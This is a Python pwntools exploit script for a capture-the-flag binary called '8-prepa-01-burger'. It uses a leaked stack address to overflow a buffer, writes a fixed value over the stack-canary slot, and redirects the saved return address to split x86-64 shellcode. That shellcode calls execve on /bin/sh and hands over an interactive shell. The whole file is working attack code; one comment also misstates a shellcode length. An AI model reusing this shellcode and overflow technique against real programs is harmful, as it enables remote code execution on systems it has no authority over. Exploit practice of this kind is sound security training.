exploit.py

#!/usr/bin/env python3
import re
import struct

from pwn import *

exe = context.binary = ELF(args.EXE or "8-prepa-01-burger")

if args.GDB:
    context.terminal = ["tmux", "splitw", "-h"]
    io = gdb.debug(
        "./8-prepa-01-burger",
        """
        source ~/.gdbinit-gef.py
        b *main
        continue
        """,
    )
elif args.LOCAL:
    io = process("./8-prepa-01-burger")
else:
    io = remote("ctf.example.org", 4801)

io.recvuntil(b"at ")
raw = io.recvuntil(b"\n\n", drop=True)
m = re.search(rb"0x[0-9a-fA-F]+", raw)
leak = int(m.group(0), 16)

canary_offset = 15
canary_size = 8
saved_rip_offset = 39

buffer_addr = leak
canary_end = canary_offset + canary_size
space = saved_rip_offset - canary_end  # octets disponibles CONTIGUËMENT après le canary

piece1 = bytes.fromhex("4831f656574889e7b03b0f05")  # 15 B

p2_core = bytes.fromhex("48bf2f2f62696e2f736848c1ef08")  # 14 B (movabs + shr)
piece2_addr = buffer_addr + canary_end
next_ip = piece2_addr + len(p2_core) + 2  # addr just after EB <rel8>
rel8 = buffer_addr - next_ip
piece2 = p2_core + b"\xeb" + struct.pack("b", rel8)  # total 16 B
assert len(piece2) == 16

payload = b""
payload += piece1
payload += b"\x90" * (canary_offset - len(piece1))
payload += p64(0xDEADBEEFDEADBEEF)[:canary_size]
payload += piece2  # écriture contiguë après le canary

# aligner exactement au saved_rip_offset
if len(payload) < saved_rip_offset:
    payload = payload.ljust(saved_rip_offset, b"\x90")
elif len(payload) > saved_rip_offset:
    raise SystemExit(
        f"[ERROR] payload len {len(payload)} > saved_rip_offset {saved_rip_offset} (bug)"
    )

payload += p64(piece2_addr)

# debug prints
print(f"buffer_addr=0x{buffer_addr:x}")
print(f"piece1_len={len(piece1)} piece2_len={len(piece2)} space={space}")
print(f"piece2_addr=0x{piece2_addr:x} rel8={rel8}")
print("payload_len=", len(payload))
print("payload_hex=", payload.hex())

io.sendline(payload)
io.interactive()